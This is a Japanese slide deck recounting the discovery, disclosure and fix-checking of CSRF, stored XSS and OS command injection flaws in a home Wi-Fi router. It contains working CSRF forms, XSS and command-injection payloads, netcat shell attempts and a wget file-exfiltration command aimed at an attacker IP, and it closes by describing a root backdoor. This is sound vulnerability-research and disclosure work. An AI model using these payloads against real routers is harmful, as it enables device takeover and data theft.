107
ーーーーーーーーーーー The vulnerabilities never bothered me anyway 1

The vulnerabilities never bothered me anyway

Embed Size (px)

Citation preview

Page 1: The vulnerabilities never bothered me anyway

ー 脆弱性なんかに負けない ー

The   vulnerabilities never bothered me

anyway

1

Page 2: The vulnerabilities never bothered me anyway

本資料に記載した行為を自身の管理下にないネットワーク/コンピューターに行った場合は、攻撃行為と判断される場合があります。最悪の場合、法的措置を取られる可能性もあります。

検査行為は、自身の管理下にあるネットワークやサーバーまたは管理者から許可をとった環境に対してのみ行ってください。

2

ご注意!!

Page 3: The vulnerabilities never bothered me anyway

3

自己紹介Satoshi Ogawa( 小河哲之 )Twitter: abendアルコール摂取に余念がないセキュリティエンジニア

Burp Suite Japan User GroupISOG WG1OWASP 要件定義 WG

NO DRINK, NO HACK!

Page 4: The vulnerabilities never bothered me anyway

4

前提本資料は、脆弱性の発見、改修確認までを「とあるストーリー」に則り、紹介するものです。CVE-2014-9284http://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-000085.html

CVE-2016-1134http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-000005.html

CVE-2016-1135http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-000006.html

Page 5: The vulnerabilities never bothered me anyway

5

はじめに 1とある雪国の女王様がご自宅にある無線 LAN ルーターの設定内容を確認していて、ふと思った・・・

Page 6: The vulnerabilities never bothered me anyway

6

はじめに 2無線 LAN ルーターのセキュリティ対策はどうなんだろう?ちょっと、遊んでみよう。

「エ○サ、遊ぼうよ」

Page 7: The vulnerabilities never bothered me anyway

7

自問自答 1ちょっと遊んだらレスポンスがなくなり、白くなった。

♪ 「真っ白な世界にひとりの私」

Page 8: The vulnerabilities never bothered me anyway

8

自問自答 2なんか、 alert あがってるし、どうしたものか。。。

♪ 「誰にも打ち明けずに悩んでた」

Page 9: The vulnerabilities never bothered me anyway

9

自問自答 3他にもアナがあるんじゃないかと思い、いろいろと試してみた。

♪ 「このままじゃだめなんだと」

①   Web アプリケーション診断(手動で実施)

②  ネットワーク診断( nmap 、 OpenVAS とか)

Page 10: The vulnerabilities never bothered me anyway

10

自由になるの 1いろいろと Web アプリケーションの脆弱性があった。

③   OS コマンドインジェクション⇒Web サーバ(無線ルータ)の OS コマンドを不正に実行されてしまう。

①   CSRF⇒ 利用者が意図していない処理を実行させられてしまう。

②   XSS⇒ 任意のスクリプト実行やタグを埋め込まれてしまう。

Page 11: The vulnerabilities never bothered me anyway

11

自由になるの 2-1①   CSRF (クロスサイトリクエストフォージェリ)攻撃者が用意した罠サイトにアクセスすることで、利用者が意図しないリクエストを発行し、処理が実行させられてしまう。

Application Server利用者

攻撃者

意図していないリクエストを発行

攻撃者が用意した罠サイト

※ 一般的な説明

Page 12: The vulnerabilities never bothered me anyway

12

自由になるの 2-2

トークン( 9 桁の数字)があり、値を変更するとエラーとなり、 CSRF の攻撃が成立しない。

トークン9桁の数字

CSRF の対策が取られている。

Page 13: The vulnerabilities never bothered me anyway

13

自由になるの 2-3だが・・・

パラメータごと削除すると処理が実行される。

トークン9桁の数字

パラメータの存在確認がされていない。

実行

Page 14: The vulnerabilities never bothered me anyway

14

自由になるの 2-4以下の POST データを例にとると・・・

param1=1&token=XXXXXXXXXXXX

param1=1&token=XXXXXXXXXXXXparam1=1&token=XXXXXXXXXXXY

値の変更や”なし”にした場合はエラーとなる。

削除

Page 15: The vulnerabilities never bothered me anyway

15

自由になるの 2-5だが、パラメータを削除されると CSRF できる。param1=1&token=XXXXXXXXXXXX

パラメータの値の等比確認しているが、パラメータの存在確認は行われていない。そのため、パラメータを消すとトークンの確認を迂回できてしまう。

削除

Page 16: The vulnerabilities never bothered me anyway

16

自由になるの 2-6

ほぼすべての機能に脆弱性が存在すると思われる。悪用された場合、影響が大きい。

・ 任意のパスワード変更・ 初期化・ ポートフォワード設定など

Page 17: The vulnerabilities never bothered me anyway

17

自由になるの 2-7たとえば、 reboot する機能を実行するように罠を用意して、 reboot にかかる時間 +α の時間後に再度 reboot するというにすれば、 reboot の無限ループ !!

Reboot中 Reboot中正常動作 CSRF

CSRF

Page 18: The vulnerabilities never bothered me anyway

18

自由になるの 2-8

<html><body><script type="text/javascript">setInterval(function(){document.frm.submit()},3000);</script><form name="frm" target="frame" action="http://xxxxx/init.html" method="POST"><input type="hidden" name="nosave_reboot" value="1"></form><iframe name="frame"></iframe></body></html>

って、思ったが、再起動後、 BASIC 認証が発生するので定期的な攻撃は成立しない。

Page 19: The vulnerabilities never bothered me anyway

19

自由になるの 3-1②   XSSCookie は使用していないので盗まれることはないがStored XSS が存在しており、永続的に被害にあう可能性がある。

Page 20: The vulnerabilities never bothered me anyway

20

自由になるの 3-2Reflection XSS や Stored XSS とは?XSS を分類するとタイプは 3つあります。

1.   Reflected XSS  (反射型)2.   Stored XSS  (格納型)3.   DOM based XSS  ( DOM型)『 DOM Based XSS』に関するレポートhttps://www.ipa.go.jp/files/000024729.pdf※XSS の分類についても記載されています。

Page 21: The vulnerabilities never bothered me anyway

21

自由になるの 3-31. Reflected XSS

メールやページ書込みによるリンク

script Applicatio

n Server利用者

攻撃者

メールなどを用いて、 XSS が発現するようなリンクを利用者にアクセスさせることで、悪用が可能。

※ 一般的な説明

Page 22: The vulnerabilities never bothered me anyway

22

自由になるの 3-42. Stored XSS事前に XSS を引き起こさせる文字列を、(攻撃対象である)掲示板などへ埋め込み、利用者にアクセスさせるだけで悪用可能。

script Applicatio

n Server利用者

攻撃者

※ 一般的な説明

Page 23: The vulnerabilities never bothered me anyway

23

自由になるの 3-53. DOM Based XSSメールなどを用いて、 XSS が発現するようなリンクを利用者にアクセスさせ、 JavaScript の不備を悪用。サーバにログを残さずに悪用可能。

メールやページ書込みによるリン

Application Server

利用者

攻撃者

script

利用者のブラウザ上で実行

※ 一般的な説明

Page 24: The vulnerabilities never bothered me anyway

24

自由になるの 3-6管理者アカウントが 1つしかなく、アカウント追加ができない。 BASIC 認証もあるし。

自分で XSS を仕掛けて自分で引っかかる自作自演か self XSS の可能性しかない。

Page 25: The vulnerabilities never bothered me anyway

25

自由になるの 3-7だが、利用者を誘導して XSS が起こるパターンを入力させても JavaScript でvalidation されているため、 XSS できない。

つまり、 XSS を悪用される可能性がほぼない。

Page 26: The vulnerabilities never bothered me anyway

26

自由になるの 3-8

CSRF feat. Stored XSS

複数の脆弱性を組み合わせると、ちょっと変わる。 CSRF と XSS を組み合わせて・・・

Page 27: The vulnerabilities never bothered me anyway

27

自由になるの 3-9<流れ>① ルータのセッションが有効な状態で利用者に CSRF の罠へアクセスさせる。②CSRF が発動( XSS を引き起こす文字列を挿入)。③ 利用者がアクセスするたびに XSS が引き起こされる。

Page 28: The vulnerabilities never bothered me anyway

28

自由になるの 3-10リクエスト(通常時)はPOST /ap.html HTTP/1.1Host: xxxContent-Type: application/x-www-form-urlencodedContent-Length: 42

DeviceName=hostname&NetworkServiceEnable=1

<table class="AD_SET"> <tr> <th> エアステーション名</th> <td> <input type="text" name="DeviceName" size="30" maxlength="64" value='hostname'> </td> </tr></table>

その結果を表示するレスポンス(抜粋)は

ここに出力される。

入力した内容

Page 29: The vulnerabilities never bothered me anyway

29

自由になるの 3-11XSS を引き起こす文字列(赤字)を登録するような CSRF の罠へ利用者をアクセスさせる。

~抜粋~<form action=“http://xxxxxxx/ap.html” method=“post”><input type=“hidden” name=“DeviceName” value=“hostname’><script>alert(‘XSS’)</script>”><input type=“hidden” name=“NetworkServiceEnable” value=“1”></form>

Page 30: The vulnerabilities never bothered me anyway

30

自由になるの 3-12その結果(抜粋)・・・

登録されたデータを変更しない限り、アクセスするたびに XSSが引き起こされる。

<input type="text" name="DeviceName" size="30" maxlength="64" value='hostname'><script>alert('XSS‘)</script>'>

Script タグが挿入され、任意のスクリプトが実行してしまう。

Page 31: The vulnerabilities never bothered me anyway

31

自由になるの 3-13アクセスしただけで reboot もできるようになる。

~抜粋~<form name="frm" target="frame" action="http://xxxxx/ap.html" method="POST"><input type="hidden" name="DeviceName" value="host'></form><form name='f' action='init.html' method='post'><input type='hidden' name='nosave_reboot' value='1'></form><script>document.f.submit();</script>"><input type="hidden" name="NetworkServiceEnable" value="1"></form>

Page 32: The vulnerabilities never bothered me anyway

32

自由になるの 3-14XSS だけでは悪用される可能性は低かった。

仕込んだの忘れてた結果、身をもって試すこととなった。

Page 33: The vulnerabilities never bothered me anyway

33

自由になるの 3-15ただし、攻撃を成功させるためには、 CSRF が成功しないといけない。 CSRF を成功させるには・・・

条件① ルータのセッションが有効な間に利用者が罠にアクセスする。

条件② 罠で設定する POST先の IP アドレスを事前に推測する。

Page 34: The vulnerabilities never bothered me anyway

34

自由になるの 4-1③   OS コマンドインジェクションWeb サーバの OS コマンドインジェクションが実行可能。

Application Server

攻撃者

OS コマンド

※ 一般的な説明

Page 35: The vulnerabilities never bothered me anyway

35

自由になるの 4-2外部に対して疎通確認のための ping送信機能があるが、そこに OS コマンドインジェクションが存在する。

Page 36: The vulnerabilities never bothered me anyway

36

自由になるの 4-3sleep コマンドで指定する時間分のタイムウエイトが発生する。ただし、任意のコマンドが通るわけではなさそう。

>_

OS コマンド実行

Page 37: The vulnerabilities never bothered me anyway

入力内容によりレスポンスの応答時間が変化する。

192.168.1.1 | sleep 1

192.168.1.1 | sleep 10→10.129sec かかった。

→1.134sec かかった。

37

自由になるの 4-4

Page 38: The vulnerabilities never bothered me anyway

38

自由になるの 4-5CSRF feat. OS コマンドインジェクションで・・・<html><script>function init(){document.form[0].submit();};</script><body onload="init();"><form action="http://xxxxxxxxxxx/ping.html" method="post"><input type="hidden" name="ping_ipaddress" value="1;reboot"></form></body></html>

脆弱性をついて再起動というイケてる仕様。

OS コマンドインジェクション

Page 39: The vulnerabilities never bothered me anyway

39

自由になるの 5ちゃんと活用していました。

Page 40: The vulnerabilities never bothered me anyway

40

自由になるの 6

様々な箇所で、複数の脆弱性が存在している。validation を JavaScript でやっており、セキュリティ実装が・・・って思ってしまう作り。

Page 41: The vulnerabilities never bothered me anyway

41

自由になるの 7

♪ 「 The vulnerabilities never bothered me anyway 」脆弱性なんて気にしない

ただ、ここまで来ると

Page 42: The vulnerabilities never bothered me anyway

42

自由になるの 8そんな訳はなく

脆弱性関連情報の届け先へ連絡。

Page 43: The vulnerabilities never bothered me anyway

43

自由になるの 9流れとしては、ざっくりこんな感じ。

① 脆弱性を受理してもらう。

②ベンダに通知してもらう。

③ベンダが直す。

④改修確認する。

⑤公開!!

Page 44: The vulnerabilities never bothered me anyway

44

自分を試したいの 1OS コマンドインジェクションでどこまでやれるのか気になったので・・・

♪ 「どこまでやれるか自分を試したいの」

shell とれるか、試したかった。

Page 45: The vulnerabilities never bothered me anyway

45

自分を試したいの 3下記をチャレンジしてみた。・  OS コマンドインジェクションを悪用して nc コマンドなどで shell奪取を試行・ 使用しているアプリの脆弱性をつく( CVE-2014-6271 などを試行)

結果は・・・

だめだった orz

Page 46: The vulnerabilities never bothered me anyway

46

新たな旅の始まり 1しばらくして IPA からメールがきた。( 2014年 9月頃)

②   XSS  → 脆弱性認定キター

①   CSRF  → 脆弱性認定キター

③   OS コマンドインジェクション → 不受理

Page 47: The vulnerabilities never bothered me anyway

47

新たな旅の始まり 2

は?

Page 48: The vulnerabilities never bothered me anyway

48

新たな旅の始まり 3受理しないとする先方のメールを要約すると

・ 管理画面上で操作できる内容のコマンド  しか確認できていない。

・ 確認できているコマンドでは CIA に影響を  及ぼさない。・ 実行するにはログインすることが前提  (ユーザも 1つしかない)。

Page 49: The vulnerabilities never bothered me anyway

(確認できたのが) ping 、 reboot 、 sleep 、 echo 、 date のみしか OS コマンドインジェクションができないだけだと脆弱性として認めてくれないらしい。

49

新たな旅の始まり 4

Page 50: The vulnerabilities never bothered me anyway

reboot は通るが( shutdown や halt などによる停止ができなかった)、画面上で再起動ボタンがあるので、「脆弱性ではない」ということみたいです。

50

新たな旅の始まり 5

Page 51: The vulnerabilities never bothered me anyway

51

新たな旅の始まり 6

ところで、 CIA って??

Page 52: The vulnerabilities never bothered me anyway

52

新たな旅の始まり 7

完全性 (Integrity)情報が破壊、改ざん又は消去されていない状態を確保すること

機密性 (Confidentiality)情報へのアクセスを認められた者だけが、その情報にアクセスできる状態を確保すること

可用性 (Availability)情報へのアクセスを認められた者が、必要時に中断することなく、情報及び関連資産にアクセスできる状態を確保すること

By wikipedia

Page 53: The vulnerabilities never bothered me anyway

53

新たな旅の始まり 8機密性 (confidentiality)

(個人的な見解です)今回の OS コマンドインジェクションの場合・・・

利用者(管理者)が 1名しかおらず追加できない環境で、その利用者がもともとアクセス可能な情報にアクセスができる。認証の迂回やなりすましなどにより他の利用者がアクセスできるわけではない。

Page 54: The vulnerabilities never bothered me anyway

54

新たな旅の始まり 9完全性 (integrity)

NTP サーバの設定変更は可能だが、別な画面でもともと変更する機能が実装されており、情報の破壊、改ざんなどができたわけではない。ただ、開発者が意図しない箇所で変更できてしまっている。

(個人的な見解です)今回の OS コマンドインジェクションの場合・・・。

Page 55: The vulnerabilities never bothered me anyway

55

新たな旅の始まり 10可用性 (availability)

(個人的な見解です)今回の OS コマンドインジェクションの場合・・・。

認められた利用者がアクセスできており、それを阻害することはできなかった。リブートできるけど。。。

Page 56: The vulnerabilities never bothered me anyway

56

新たな旅の始まり 11

うーん、 CIA に影響してないかと言われると微妙な感じ・・・。

開発者が意図していない箇所で、期待している動作以外のコマンドを実行できることはセキュリティ上、好ましくいと思うので、受理してもらうために更なる調査を開始。

Page 57: The vulnerabilities never bothered me anyway

57

新たな旅の始まり 12wget コマンド、 rm コマンドなども動作可能であることを確認。

なので、偽のコンテンツを取得し、ルータ上に存在するコンテンツと差し替えることが可能。

Page 58: The vulnerabilities never bothered me anyway

いろんなコマンドを試してみた。bashcatcpechoftphaltinit

iptableskilllesslsmorencnetstat

ntppingpspwdrebootrmshutdown

telnettouchwget

※赤字が動作確認できたコマンド

58

新たな旅の始まり 13

Page 59: The vulnerabilities never bothered me anyway

59

新たな旅の始まり 14ということで、再度検討してもらった。

結果、受理!!( 2015年 1月)

Page 60: The vulnerabilities never bothered me anyway

60

え、まだ続くの 1

IPA から連絡来ていないけど、ある日ベンダページ見たら、直ったとリリースされていた。

Page 61: The vulnerabilities never bothered me anyway

61

え、まだ続くの 2

発見した製品以外にも、存在していたようです。予想通りですが。

Page 62: The vulnerabilities never bothered me anyway

62

え、まだ続くの 3

ん?ちょっと待て。 CSRF の脆弱性の説明が・・・。

「悪意のあるスクリプトが組み込まれたウェブページにアクセスした際、掲示板に意図しない書き込みをさせられたり、オンラインショップで買い物をさせられたりする。」

Page 63: The vulnerabilities never bothered me anyway

63

え、まだ続くの 4

一般的な CSRF の説明も併記されており、誤解を招くと思います。

そんなことありません。

ルータの設定を変更させられてしまう可能性がありますが、掲示板への書き込みやオンラインショップでの買い物はできません。

Page 64: The vulnerabilities never bothered me anyway

64

え、まだ続くの 5

ベンダが改修したと言っているので、改修確認をやってみた。

②   XSS  →  alert があがった

①   CSRF  → なおった

③   OS コマンドインジェクション → なおった

Page 65: The vulnerabilities never bothered me anyway

65

え、まだ続くの 6

♪「このままじゃ ダメなんだと」

報告時と何も変化がないように見える。。。

Page 66: The vulnerabilities never bothered me anyway

66

え、まだ続くの 7

約 11 か月後、サイトを見たら新しいバージョンがリリースされていたので再度試してみた。「 < 」、「 > 」は出力されなくなっていた。

Page 67: The vulnerabilities never bothered me anyway

67

え、まだ続くの 8

入力内容を変えてみた。

' onmouseover='alert()

'><script>alert()</script>

Page 68: The vulnerabilities never bothered me anyway

68

え、まだ続くの 9

♪「このままじゃ ダメなんだと」

ま、まさか

Page 69: The vulnerabilities never bothered me anyway

69

え、まだ続くの 10

さらに約 1 か月後、また新しいバージョンがリリースされていたので、再度試してみたら、やっと直っていた。

長かった。

Page 70: The vulnerabilities never bothered me anyway

70

え、まだ続くの 11

OS コマンドインジェクションの件、記事になっていた。

Page 71: The vulnerabilities never bothered me anyway

まとめ

71

Page 72: The vulnerabilities never bothered me anyway

72

まとめ 1

外部に対して、公開を想定されていなかった製品だと、 XSS のような脆弱性は多数存在すると思う。ただ、公開されているわけではないため、 XSS を悪用される可能性は低いが。

医療機器や工場などで稼働する製品でも同じことが言えるのではないだろうか。

Page 73: The vulnerabilities never bothered me anyway

73

まとめ 2

2014年 7月 21日に一番最初に報告したので、 1年半かかった。長かったが、全部直していただいて、利用者として良かったです。

♪ 「 The vulnerabilities never bothered me anyway 」脆弱性なんかに負けない

Page 74: The vulnerabilities never bothered me anyway

74

さいごに

ちなみに、当該映画は見たことがないです。

※本資料は、「 Let it go 」の歌詞を一部引用しています。

Page 75: The vulnerabilities never bothered me anyway

実はまだ終わらないんです。

75

Page 76: The vulnerabilities never bothered me anyway

root で shell を取るという仕事が残っているんですよ。

76

Page 77: The vulnerabilities never bothered me anyway

なので・・・

77

Page 78: The vulnerabilities never bothered me anyway

世界に 1つだけのroot

78

Page 79: The vulnerabilities never bothered me anyway

Analysis1

79

再度、情報収集とこれまでの内容を見直してみることにした。

echo で任意の文字列が出力できなかったので、もう一度調べてみた。

Page 80: The vulnerabilities never bothered me anyway

Analysis2

80

以下、文字列が出力されるのを確認していた。1|echo '1 bytes from 1.1.1.1: seq=0 ttl=1 time=9999ms'

ping結果を出力する機能なので、出力形式のチェックをしているのではないかと推測される。

1|echo 'hello'

以下では、出力されなかった。

1|echo $SHELL

Page 81: The vulnerabilities never bothered me anyway

Analysis3

81

出力形式のチェックはどこまで厳格なっているのか 1byteづつ削ったりして試してみた。

1|echo 'seq='

最終的にこの赤字箇所があれば、画面出力される。

1|echo '1 bytes from 1.1.1.1: seq=0 ttl=1 time=9999ms'

Page 82: The vulnerabilities never bothered me anyway

Analysis5

82

ping の出力バリデーション、全然関係ねーじゃんと気づく。

Page 83: The vulnerabilities never bothered me anyway

Analysis6

83

画面出力ができるようになったので、以前ダメだったコマンドを再度試してみた。1| echo 'seq='+`ls`

表示されるようになった。ただし、58byte分のみ。

Page 84: The vulnerabilities never bothered me anyway

Analysis7

84

環境変数も見れている。

1| echo 'seq='+`echo $SHELL`

Page 85: The vulnerabilities never bothered me anyway

Analysis8

85

どんなコマンドが実行可能か調査してみた。

1| echo 'seq='+`ls /bin`

全部表示されない。

Page 86: The vulnerabilities never bothered me anyway

Analysis9

86

なので、こんな感じでアルファベットすべて確かめればコマンドの洗い出しができる。1| echo 'seq='+`ls /bin | grep ^a`

ただ、手動で試すのはめんどくさい。

Page 87: The vulnerabilities never bothered me anyway

Analysis10

87

Burp の Intruder 機能を使ってみる。

Page 88: The vulnerabilities never bothered me anyway

Analysis11

88

Burp の Intruder 機能は、色々なパターンを自動的にテストしたりするのに便利で、以下の流れになる。

①  リクエストを Intruder にセット。②   Positions でテストしたい箇所を指定。③   Payload でテストするパターンをセットし、 Go Attack を押下。④ 結果の確認。

Page 89: The vulnerabilities never bothered me anyway

Analysis12

89

テストしたい箇所を選択して、 Add するとテスト箇所として Burp が認識します。

Page 90: The vulnerabilities never bothered me anyway

Analysis13

90

テストしたいパターンをセットする。今回はアルファベットのみだが、任意の文字列を指定可能。

Page 91: The vulnerabilities never bothered me anyway

Analysis14

91

テストごとでレスポンスを確認可能。 Content-Length が一覧化されており、差分の有無を確認しやすくなっている。

Page 92: The vulnerabilities never bothered me anyway

Analysis15

92

その結果、以下のコマンドが実行可能。/binacl ap_serv ac ated ash brctl busybox cp cat chmod df dnsmasq dd date echo eraseall erase gzip gpio grep hw_nat hostname iwconfig iwpriv iptables kill lld2d login ln ls mtr mv mtd_write mknod mount mii_mgr mkdir netstat openssl ps ping pwd pidof rm reg sleep switch sh sed tc touch tar uname umount uboot_env vi wscd

/sbinarping basename cut ccf_checkLicenseStatus dumpleases ether-wake expr ifilter_checkLicense.sh killall nslookup printf pscan tail top tproxy tftp test unzip uptime wget wc xargs

/usr/binconfig-vlan.sh config.sh halt ifconfig init insmod klogd lsmod mdev pppoe-relay poweroff reboot rmmod route syslogd udhcpc vconfig wd_keepalive

Page 93: The vulnerabilities never bothered me anyway

Analysis16

93

init や touch など試したが駄目だったと判断した理由は以下だと思う。

・  typo の可能性・ レスポンスだけで動作確認ができなかった

Page 94: The vulnerabilities never bothered me anyway

Analysis17

94

拡張子が html 以外のコンテンツはアクセスできず、適当な html ファイルでも 200 OK となってしまう仕様から動作の確認に至らなかった。

Page 95: The vulnerabilities never bothered me anyway

Analysis18

95

以前、 shellshock の確認を行ったが、脆弱性は存在しなかった。

そもそも /bin/sh と /bin/ash ( $SHELLは /bin/sh )なので、存在するわけがない。

Page 96: The vulnerabilities never bothered me anyway

Analysis19

96

openssl が存在するが、ルータの管理画面は https ではなく、どこにも使っていないと思う。

heartbleed できる可能性もあるので、バージョン確認したら 0.9.8e だったので、そっと閉じた。

Page 97: The vulnerabilities never bothered me anyway

Analysis20

97

/bin にあるコマンドを ls –l で見てみると、多くが /bin/busybox に link されていた。

lrwxrwxrwx 1 0 0 7 mkdir -> busyboxlrwxrwxrwx 1 0 0 7 grep -> busyboxlrwxrwxrwx 1 0 0 7 date -> busyboxlrwxrwxrwx 1 0 0 7 sed -> busybox

Page 98: The vulnerabilities never bothered me anyway

Analysis21

98

busybox は Linux コマンドを詰め合わせたもので、組み込み機器などで利用されているようです。

1| echo 'seq='+`/bin/busybox ls`

使い方は以下のように、実行したいコマンドを引数として渡すと実行される。

Page 99: The vulnerabilities never bothered me anyway

Analysis22

99

nc の link がないだけかもしれないので、再度 nc を用いた shell の取得を試してみた。1| echo 'seq='+`/bin/busybox nc –c /bin/sh –l –p 8888`

両方ともダメだった。 ln で /bin/nc でも試してみたがやはりだめだった。

1| echo 'seq='+`/bin/busybox nc IP アドレス 8888`

Page 100: The vulnerabilities never bothered me anyway

Analysis23

100

設定ファイルなどを簡単にゲットする方法を考えてみた。

受け側で POST データを出力すれば、簡単にファイルをゲットできるが、「 --post-file 」などのオプションを認識しないため、ゲットできず。

1| echo ‘seq='+`wget http://IP アドレス --post-file= ファイル `

Page 101: The vulnerabilities never bothered me anyway

Analysis24

最初はこんな感じでやり始めた。

上記のパターンで確認し、 1 行が 58byte以上の場合、 cut した。

1| echo 'seq='+`cat ファイル | tail –n X`

101

Page 102: The vulnerabilities never bothered me anyway

Analysis25

あまりにもめんどくさいので、ほかの方法を考えた。

拡張子が html であればアクセスできるので、簡単に設定を参照可能。

1| echo 'seq='+`cp ファイル test.html`

102

Page 103: The vulnerabilities never bothered me anyway

Analysis26

あっ!!!!

103

Page 104: The vulnerabilities never bothered me anyway

Analysis27

コマンドの実行結果を html ファイルにリダイレクションすれば、 58byte の制約なんて関係ないじゃんと気づく。

104

Page 105: The vulnerabilities never bothered me anyway

Independent1

入力されたコマンドをセットして、結果を特定の html に出力する。その html を見ればコマンド結果がわかる。

105

Page 106: The vulnerabilities never bothered me anyway

Independent5

コマンドを入力して Enter すると実行される。これで root権限で稼働するバックドアが完成。

106

Page 107: The vulnerabilities never bothered me anyway

さいごに

107

No.1 にならなくてもいいroot はもともと特別な Only one